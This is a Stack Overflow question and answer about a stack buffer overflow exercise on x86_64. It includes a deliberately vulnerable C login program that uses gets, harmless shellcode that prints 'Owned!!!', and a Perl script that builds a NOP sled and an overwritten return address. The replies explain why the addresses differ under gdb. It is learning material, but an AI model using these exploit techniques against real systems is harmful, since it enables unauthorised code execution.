-1

I been trying to smash the stack in an x86_64 machine , the payload gets executed when I use a debugger (gdb) and fails with Segmentation fault when I run it normally

Here is the vulnerable program

#include <stdio.h>

char *secret = "Password";

void go_shell()
{
    char *shell =  "/bin/sh";
    char *cmd[] = { "/bin/sh", 0 };
    printf("Would you like to play a game...\n");
    setreuid(0);
    execve(shell,cmd,0);
}

int authorize()
{
    char password[64];
    printf("Enter Password: ");
    gets(password);
    if (!strcmp(password,secret))
        return 1;
    else
        return 0;
}

int main()
{
    if (authorize())
    {
        printf("login successful\n");
        go_shell();
    } else {
        printf("Incorrect password\n");
    }
    return 0;
}

compiled as : gcc simple_login.c -o login -z execstack -fno-stack-protector -g

ASLR turned off

Here is My payload in assembly

section .text
global _start

_start:
xor rax, rax ; syscall
xor rdi, rdi ; arg1
xor rsi, rsi ; arg2
xor rdx, rdx ; arg3

; write(int fd, char *msg, unsigned int len)
nop
mov al, 1
inc di
inc di
;Owned!!! =  4f,77,6e,65,64,21,21,21
;push !,!,!,d
;push e,n,w,O
mov rcx,0x21212164656e774f
push rcx
mov rsi, rsp
mov dl, 8 
syscall

; exit(int ret)
;xor rax,rax
mov al, 0x3c
xor rdi, rdi
syscall

enter image description here

#!/usr/bin/perl
print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // extra padding
print "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2";
print "\xb0\x01\x66\xff\xc7\x66\xff\xc7\x48\xb9\x4f\x77";
print "\x6e\x65\x64\x21\x21\x21\x51\x48\x89\xe6\xb2\x08";
print "\x0f\x05\xb0\x3c\x48\x31\xff\x0f\x05";
print "\x42\x42\x42\x42\x42\x42\x42\x42"; // rbp
print "\xd8\xe1\xff\xff\xff\x7f\x00\x00"; //return address

On debugger

enter image description here

While Executing in a debugger it works fine and the message Owned!!! is printed out , but when I run the file normally I get Segmentation Error Any Solution on whats happening here ?

4
  • Sounds like you didn't disable aslr, or maybe the return address is wrong. On my system, around 0x7fffffffdea0 will correctly execute the shellcode. I'd recommend printing the address of password inside authorize, and ensure that you're getting a static value on multiple invocations and/or look at /proc/sys/kernel/randomize_va_space and make sure it's 0.
    – broadway
    May 29, 2016 at 23:04
  • @broadway the address of payload that I obtained was from the stack as it will be [esp] so 0x7fffffffe1d0 which worked in GDB crashed in normal I printed out address via C and used that 0x7fffffffe2a0 which worked normally but crashes in gdb lol May 30, 2016 at 0:11
  • thats why it was working in gdb and not if i execute normally , now it works normally and not in gdb , Anyidea why its happeneing ? May 30, 2016 at 0:22
  • stackoverflow.com/questions/17775186/… Seems to be the reason but yet the addresses are different : May 30, 2016 at 0:59

1 Answer 1

0

The issue was that the OS pushes some env on the stack which creates this offset in memory when the program is run on gdb ,which can be resolved by removing the env . more about this can be found at https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.